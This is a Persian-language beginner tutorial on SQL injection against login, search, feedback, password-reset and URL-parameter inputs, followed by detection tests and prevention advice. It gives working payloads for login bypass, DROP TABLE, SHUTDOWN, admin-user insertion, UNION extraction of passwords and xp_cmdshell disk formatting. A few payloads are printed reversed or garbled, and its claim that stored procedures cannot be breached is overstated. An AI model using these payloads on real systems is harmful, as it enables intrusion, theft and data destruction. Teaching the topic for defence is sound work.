

SQL

Injection



For Newbies



**This document is only for
educational purposes.**

**The author will approve of
no abusage.**

فهرست

3	آشنایی با SQL Injection
3	آغاز در بدو ورود
4	موقعیت احتمالی 1
5	موقعیت احتمالی 2
7	موقعیت احتمالی 3
8	جستجوی سمی
10	ارسال نظر اما متفاوت
12	رمز عبور فراموش شده
14	استفاده از URL
17	اقدامات پیشگیرانه
18	پیش نیاز های نام برده شده
18	مفهوم table schema چیست؟

آشنایی با SQL Injection

یک آسیب‌پذیری امنیتی است که در لایه پایگاه داده یک برنامه رخ می‌دهد. این تکنیکی برای تزریق کاوش یا دستور **SQL** به عنوان ورودی از طریق صفحات وب است. گاهی اوقات ما ورودی را از کاربر وب می‌پذیریم و آن ورودی را به عنوان پارامتر برای ساخت یک پرس‌وجوی پایگاه داده به صورت پویا در **backend** برای انجام عملیات جستجو در پایگاه داده ارسال می‌کنیم. در اینجا سوال تزریق **SQL** مطرح می‌شود.

یک ورودی هوشمندانه ساخته شده ممکن است نتیجه‌ای را تولید کند که قرار نیست برنامه آن را انجام دهد.

ابتدا باید ناحیه ممکن در یک برنامه را که **SQL** می‌تواند در آن تزریق شود، شناسایی کنیم. این ناحیه می‌تواند صفحه ورود، فیلد جستجو، بازخورد، **URL** صفحه (در صورت درخواست **GET**) و غیره باشد.

بیایید با مثال‌هایی در مورد آن بحث کنیم.

آغاز در بد و ورود

همواره صفحه مورد توجه صفحه ورودی یا همان **Login page** است

در این صفحه دو فیلد وجود دارد، نام کاربری و رمز عبور. کاربر اطلاعات ورود به سیستم خود را وارد می‌کند و به حساب کاربری خود دسترسی پیدا می‌کند. موقعیتی را تصور کنید که هر کسی بتواند بدون اطلاعات کاربری مناسب به حساب کاربری دیگران دسترسی داشته باشد. بله، اگر برنامه‌نویس به آن توجه نکند، این امر امکان‌پذیر است.

مهم‌ترین بخش کد صفحه ورود :

```
php
string sql = "select * from User_login where username= ' "+username+" '
and password= ' "+password+" ' "
```

۱. این کد یک رشته **SQL** می‌سازد که برای بررسی ورود کاربر استفاده می‌شود.

۲. **User_login** `select * from User_login` جدول را انتخاب کن. `select *` یعنی تمام ستون‌های جدول

۳. **where username= ' "+username` شرطی است که فقط رکوردهایی را انتخاب می‌کند که نام کاربری آنها برابر با مقدار متغیر `username` باشد.**

۴. **and password= ' "+password` شرط دوم است که پسورد باید با مقدار متغیر `password` مطابقت داشته باشد.**

موقعیت احتمالی ۱

صفحه ورود از روش **POST** برای ارسال داده‌ها استفاده می‌کند اما هیچ گونه اعتبارسنجی در سمت کلاینت یا سرور وجود ندارد.

ورودی‌های مخرب:

- نام کاربری: '**hi' or 1=1;--**'

- رمز عبور: هر مقداری (مهم نیست)

تغییر کوئری **SQL**:

```
sql
select * from User_login where username='hi' or 1=1;--' and
password='<any>'
```

- بخشی که اجرا می‌شود: `username='hi' or 1=1` که همیشه درست است

- بخشی با '--` کامنت می‌شود و اجرا نمی‌شود

مکانیزم حمله:

- عبارت `or 1=1` شرط را همیشه برقرار می‌کند

- علامت `--` بقیه دستور **SQL** را کامنت می‌کند

نتیجه حمله:

- کوئری اولین کاربر موجود در جدول را برمی‌گرداند

- مهاجم بدون دانستن نام کاربری/رمز عبور واقعی وارد سیستم می‌شود

موقعیت احتمالی ۲

صفحه لاگین از **POST** استفاده می‌کند و اعتبارسنجی فقط در سمت کلاینت (جاوااسکریپت) انجام می‌شود همچنین هیچ اعتبارسنجی در سمت سرور وجود ندارد

تحلیل کد **HTML**

```
html
<form id="from_login" method="post" action="/abc/login.asp">
    <input type="text" id="login-username" name="user_id">
    <input type="password" id="login-password" name="passwd">
    <input type="submit" onclick="Login_validate()">
</form>
```

- تابع `Login_validate`() اعتبارسنجی را انجام می‌دهد

مراحل حمله

- گام ۱: مشاهده کد منبع صفحه (**View Page Source**)

- گام ۲: یافتن تابع اعتبارسنجی (در اینجا `Login_validate`())

- گام ۳: غیرفعال کردن جاوااسکریپت در مرورگر یا تغییر موقت کد

روش‌های دور زدن اعتبارسنجی

- روش ۱: ارسال مستقیم **POST request** با ابزارهایی مانند **Postman** یا **Burp Suite**

- روش ۲: ذخیره صفحه در سیستم و حذف تابع اعتبارسنجی

SQL INJECTION FOR NEWBIES

- روش ۳: اجرای دستور در کنسول مرورگر:

```
javascript
document.getElementById('from_login').onsubmit = null;
```

سپس اجرای نمونه حمله **Sql**

پس از غیرفعال کردن اعتبارسنجی جواالاسکریپت ، مهاجم می تواند مقادیر مخرب را وارد کند

```
sql
username: admin or 1=1;--' and password:<any>
```

تبديل به کوئری **SQL**

کوئری اصلی سرور:

```
sql
SELECT * FROM users WHERE username='[username]' AND password='[password]'
```

پس از تزریق:

```
sql
SELECT * FROM users WHERE username='admin'--' AND password='123456'
```

تفسیر کوئری تزریق شده:

- بخش `admin` مقدار نام کاربری را کامل می کند

- `--` یک کامنت در **SQL** است که بقیه خط را نادیده می گیرد

- در نتیجه شرط پسورد کاملاً حذف می شود

نتایج حمله:

- سیستم اولین کاربری که نام کاربری آن '**admin**' است را پیدا می کند
- بدون بررسی صحت رمز عبور، سیستم به مهاجم اجازه ورود می دهد
- اگر کاربری با نام '**admin**' وجود نداشته باشد، ممکن است اولین کاربر در جدول انتخاب شود

انواع پیشرفته تر این حمله:

دسترسی به تمام حساب ها - حذف جدول کاربران - اضافه کردن کاربر جدید (تحقیق کنید!)
نکته مهم: اعتبارسنجی سمت کلاینت فقط برای تجربه کاربری بهتر است و هرگز نباید به عنوان لایه امنیتی تلقی شود.

موقعیت احتمالی 3

حل موقعیت های پیچیده تر حاصل تلاش شماست !
بدون دانش این کار را انجام ندهید !

جستجوی سمی

سناریو حمله به سیستم جستجو

ساختار کوئری اصلی:

سیستم از کوئری آسیب‌پذیر زیر برای جستجوی محصولات استفاده می‌کند:

```
java
String sql = "select * from Product where product_name like '" +
product_name + "%'"
```

ورودی‌های مخرب حمله:

- ورودی اول: `--;SHUTDOWN;

- ورودی دوم: `';SHUTDOWN+` (برای مواردی که ورودی اول کار نمی‌کند)

نحوه تبدیل کوئری:

با ورودی مخرب، کوئری به این شکل تغییر می‌کند:

```
sql
select * from Product where product_name like ''; SHUTDOWN;-- %'
```

مکانیزم حمله:

- `';` کوئری اصلی را خاتمه می‌دهد

- `SHUTDOWN` دستور خاموش کردن دیتابیس را اجرا می‌کند

- `--` بقیه دستور را کامنت می‌کند

دلیل کارکرد حمله:

- برخی دیتابیس‌ها (مثل SQL Server) اجازه اجرای چند دستور پشت سر هم را می‌دهند

- دستور SHUTDOWN یک فرمان سیستمی در برخی DBMS‌ها است

تفاوت وروندی‌ها:

- کاراکتر `+` موتور جستجو را مجبور می کند ورودی را به عنوان یک کلمه کلیدی واحد پردازش کند
 - موتور جستجو ورودی را به توکن های جداگانه تقسیم می کند
 - ورودی دوم (`+;--`) زمانی استفاده می شود که:

اثاث حمله:

- این حمله باعث خاموش شدن سرور دیتابیس می‌شود
 - یک حمله (DoS) محسوب می‌شود
 - دسترسی به سرویس را تا زمان راهاندازی مجدد دیتابیس قطع می‌کند

راهکارهای دفاعی:

اعمال، اصل، کمترین اختیار:

- کاربر دیتابیس نباید دسترسی SHUTDOWN داشته باشد
 - فیلتر کردن کاراکترهای خاص:
 - جلوگیری از ورود ` ; `` -- `` `` و سایر کاراکترهای خاص

لاگ گیری و مانیتورینگ:

- ثبت کوئری‌های غیرعادی و اعلان به مدیر سیستم

این نوع حمله نشان می‌دهد که چگونه یک فیلد ساده جستجو می‌تواند به نقطه ورود برای حملات خطرناک تبدیل شود اگر به درستی ایمن‌سازی نشده باشد.

Denial of Service¹

ارسال نظر اما متفاوت

ایم بخش چگونگی حملات را در بخش ارسال نظرات یا همان Feedback سایت ها نشان میدهد سناریو حمله به سیستم جمع‌آوری نظرات کاربران:

پیش‌فرض‌های حمله:

- مهاجم ساختار جدول (Table Schema²) را می‌داند
- سیستم از کوئری‌های ساده و بدون پارامتر استفاده می‌کند
- امکان اجرای چندین کوئری پشت سر هم وجود دارد

کوئری آسیب‌پذیر اصلی:

سیستم احتمالاً از کوئری زیر برای ذخیره بازخورد کاربر استفاده می‌کند:

```
sql
INSERT INTO UserFeedback (comment_field, user_id, date_field)
VALUES ('[user_input]', '[current_user]', '[current_date]')
```

ورودی مخرب مهاجم:

```
sql
Hi I am here); INSERT INTO Table_Name (field_1,field_2,field_3,field_4)
VALUES ('value1', 'value2', 'value3', 'value4');--
```

تبديل کوئری نهايى:

پس از تزریق، کوئری به این شکل اجرا می‌شود:

```
sql
INSERT INTO UserFeedback (comment_field, user_id, date_field)
VALUES ('Hi I am here');

INSERT INTO Table_Name (field_1,field_2,field_3,field_4)
VALUES ('value1', 'value2', 'value3', 'value4');--, '[current_user]',
'[current_date]')
```

² اگر مفهوم table schema نمیدانید در قسمت پیش نیاز های نام برده شده همین مقاله کمی مطالعه کنید!

SQL INJECTION FOR NEWBIES

اجزای حمله:

- `(` ; `)` کوئری اولیه را خاتمه می‌دهد

- `INSERT INTO` دستور جدید برای اضافه کردن داده‌های جعلی

- `--` کوئری اصلی را کامنت می‌کند

اثرات حمله:

- یک رکورد جدید با مقادیر دلخواه مهاجم به جدول مورد نظر اضافه می‌شود

- ممکن است باعث:

- اضافه شدن کاربران جعلی

- تغییر در داده‌های حساس

- آلوده کردن دیتابیس

انواع پیشرفته‌تر این حمله:

الف) ایجاد کاربر ادمین جدید:

```
sql
Hi); INSERT INTO Users (username,password,is_admin)
VALUES ('hacker','123456',1);--
```

ب) تغییر داده‌های موجود:

```
sql
Hi); UPDATE Users SET is_admin=1 WHERE username='victim';--
```

رمز عبور فراموش شده

حملات در سیستم بازیابی رمز عبور (Forgot Password)

سناریو حمله به سیستم ارسال رمز عبور از طریق ایمیل

مکانیزم آسیب‌پذیر سیستم:

سیستم از کوئری نامن زیر برای بازیابی رمز عبور استفاده می‌کند:

```
java
String sql = "SELECT user_name, password FROM Login_details WHERE email_id
= '" + email_id + "'";
```

نمونه حملات و اثرات آنها:

حمله اول: بازیابی تصادفی رمز عبور

- ورودی مخرب: `--;hi' or 1=1`

- کوئری تغییر یافته:

```
sql
SELECT user_name, password FROM Login_details WHERE email_id = 'hi' or
1=1;--'
```

- تاثیرات:

- شرط `1=1` همیشه صحیح است

- سیستم اولین رکورد جدول را برمی‌گرداند

- رمز عبور یک کاربر تصادفی به ایمیل مهاجم ارسال می‌شود

حمله دوم: حذف کامل جدول

- ورودی مخرب: `--;hi'; DROP TABLE Login_details`

- کوئری تغییر یافته:

```
sql
SELECT user_name, password FROM Login_details WHERE email_id = 'hi'; DROP
TABLE Login_details;--'
```

- تأثیرات:

- جدول حاوی اطلاعات لایگین کاربران کاملاً حذف می‌شود

- تمام کاربران دسترسی به سیستم را از دست می‌دهند

- حمله از نوع DOS (انکار سرویس) محسوب می‌شود

آناتومی حملات:

بخش حمله	توضیحات فنی
'	رشته کوئری اصلی را می‌بندد
or 1=1	شرط همیشه درست ایجاد می‌کند
;	دستور SQL اول را خاتمه می‌دهد
DROP TABLE	دستور مخرب حذف جدول
--	باقی مانده کوئری اصلی را کامنت می‌کند

مثال عملی از سیستم اینمن:

```
java
// استفاده از پارامترهای امن
public boolean sendPasswordReset(String email) {
    if (!isValidEmail(email)) {
        return false;
    }

    String sql = "SELECT user_name FROM Login_details WHERE email_id = ?";
    try (PreparedStatement stmt = conn.prepareStatement(sql)) {
        stmt.setString(1, email);
        ResultSet rs = stmt.executeQuery();

        if (rs.next()) {
            String token = generateSecureToken();
            storeTokenInDatabase(rs.getString("user_name"), token);
            sendResetLink(email, token);
            return true;
        }
        return false;
    }
}
```

استفاده از URL

حملات با استفاده از پارامترهای URL

این نوع حمله زمانی امکان‌پذیر است که برنامه‌ی وب از متدهای GET برای دریافت پارامترها استفاده کند و مقادیر ورودی مستقیماً در کوئری SQL قرار داده شوند بدون هیچ گونه اعتبارسنجی یا فیلتراسیون.

سناریو حمله پایه

کوئری اصلی برنامه:

`http://example.com/products/search.asp?product_name=toy`

کوئری آسیب‌پذیر در سمت سرور:

sql

```
SELECT * FROM Product WHERE product_name LIKE '' + product_name + '%'
```

نمونه حمله اولیه

URL مخرب:

`http://example.com/products/search.asp?product_name='toy' OR 1=1--`

کوئری تغییر یافته:

sql

```
SELECT * FROM Product WHERE product_name LIKE 'toy' OR 1=1-- %'
```

تاثیرات:

- نمایش تمام محصولات موجود در دیتابیس (نه فقط اسباب‌بازی‌ها که مثال بوده)
- دور زدن فیلترهای جستجو
- امکان افشای اطلاعات حساس

انواع پیشرفته تر حملات از طریق URL

الف) استخراج اطلاعات ساختار دیتابیس

```
http://example.com/products/search.asp?product_name=toy' UNION SELECT  
1,table_name,3,4 FROM information_schema.tables--
```

ب) بازیابی رمزهای عبور

```
http://example.com/products/search.asp?product_name=toy' UNION SELECT  
1,username,password,4 FROM users--
```

ج) اجرای دستورات سیستم عامل

```
http://example.com/products/search.asp?product_name=toy'; EXEC  
xp_cmdshell('format C:')--
```

تکنیک‌های تشخیص آسیب‌پذیری

1. آزمون کاراکترهای خاص:

- اضافه کردن `` به انتهای پارامتر

- مشاهده پیام‌های خطای دیتابیس

2. آزمون عبارات منطقی:

`OR 1=1` -

`AND 1=2` -

3. آزمون تأخیر زمانی:

(SQL Server `(در --'WAITFOR DELAY '0:0:5 ;` -

مثال عملی از یک حمله ترکیبی

URL مخرب:

[http://example.com/products/search.asp?product_name=';INSERT INTO admin_users\(username,password\) VALUES \('hacker','p@ssw0rd'\);--](http://example.com/products/search.asp?product_name=';INSERT INTO admin_users(username,password) VALUES ('hacker','p@ssw0rd');--)

تاثیرات:

- ایجاد یک کاربر ادمین جدید با دسترسی کامل

- امکان ورود به سیستم با حساب ایجاد شده

اقدامات پیشگیرانه

سری اقدامات زیر جهت پیشگیری و امن سازی پیشنهاد میشود:

1. فرض کنید تمام ورودی های کاربر نهایی مخرب هستند.
2. پیام های خطای جزئی را خاموش کنید. اطلاعات کمتر ممکن است کار هکر را کمی سخت تر کند.
3. یک صفحه خطای سفارشی داشته باشید، هرچند که این یک راه حل دائمی نیست.
4. فراموش نکنید که اطلاعات اشکال زدایی (کامنت ها) را قبل از انتشار حذف کنید.
5. علامت نقل قول تکی ورودی را جایگزین کنید.
6. فقط ورودی های خوب را مجاز کنید و طول داده های ورودی را به حداقل برسانید.
7. به اعتبارسنجی سمت کلاینت بستگی ندارد. اعتبارسنجی سمت کلاینت قابل دور زدن است.
8. حق کاربر پایگاه داده ای را که برنامه وب استفاده می کند محدود کنید.
9. به جای دستور **SQL** درون خطی، روال ذخیره را بنویسید و آن را در سرور پایگاه داده ذخیره کنید. اما نوشتن روال ذخیره برای هر دستور **sql** ممکن است امکان پذیر نباشد. اگر از **JSP** استفاده می کنید، از **PreparedStatement** استفاده کنید. هم روال ذخیره و هم **PreparedStatement** از قبل کامپایل شده اند و بنابراین نفوذ به آنها غیرممکن است.
10. مراقب انواع جدید حملات تزریق **SQL** باشید.

پیش نیاز های نام برده شده

مفهوم table schema چیست؟

Table Schema یا ساختار جدول به معنی تعریف و توصیف کامل یک جدول در پایگاه داده است که شامل:

اجزای اصلی ساختار جدول:

- نام جدول (Table Name): شناسه منحصر به فرد جدول (مثلاً Users, Products)
- ستون ها (فیلدها): مشخصات هر ستون شامل:
 - نام ستون (مثلاً username, password)
 - نوع داده (مثلاً VARCHAR, INT, DATE)
 - محدودیت ها (مثلاً NOT NULL, UNIQUE)
 - رابطه ها: ارتباط با سایر جداول (کلیدهای خارجی)

مثال عملی از ساختار جدول Users:

```
sql
CREATE TABLE Users (
    user_id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL UNIQUE,
    password VARCHAR(100) NOT NULL,
    email VARCHAR(100) UNIQUE,
    is_admin TINYINT(1) DEFAULT 0,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
```

چرا دانستن ساختار جدول برای حمله مهم است؟

- مهاجم باید بداند:

- چه جدول هایی وجود دارد (مثلاً Users, Products)
- چه فیلد هایی در هر جدول موجود است
- نوع داده هر فیلد چیست
- بدون این اطلاعات، تزریق SQL مؤثر نخواهد بود

چگونه مهاجم ساختار جدول را کشف می کند؟

۱. پیام های خطای دیتابیس:

- با وارد کردن ورودی های خاص باعث بروز خطای شود

- پیام خطای ممکن است اطلاعات ساختار را نشان دهد

۲. تکنیک Blind SQL Injection

- حدس زدن ساختار با آزمون و خطای

- بررسی پاسخ سیستم به ورودی های مختلف

۳. دستورات SQL خاص:

- در MySQL: `SHOW TABLES` و `DESCRIBE table_name`

- در SQL Server: `SELECT * FROM INFORMATION_SCHEMA.TABLES`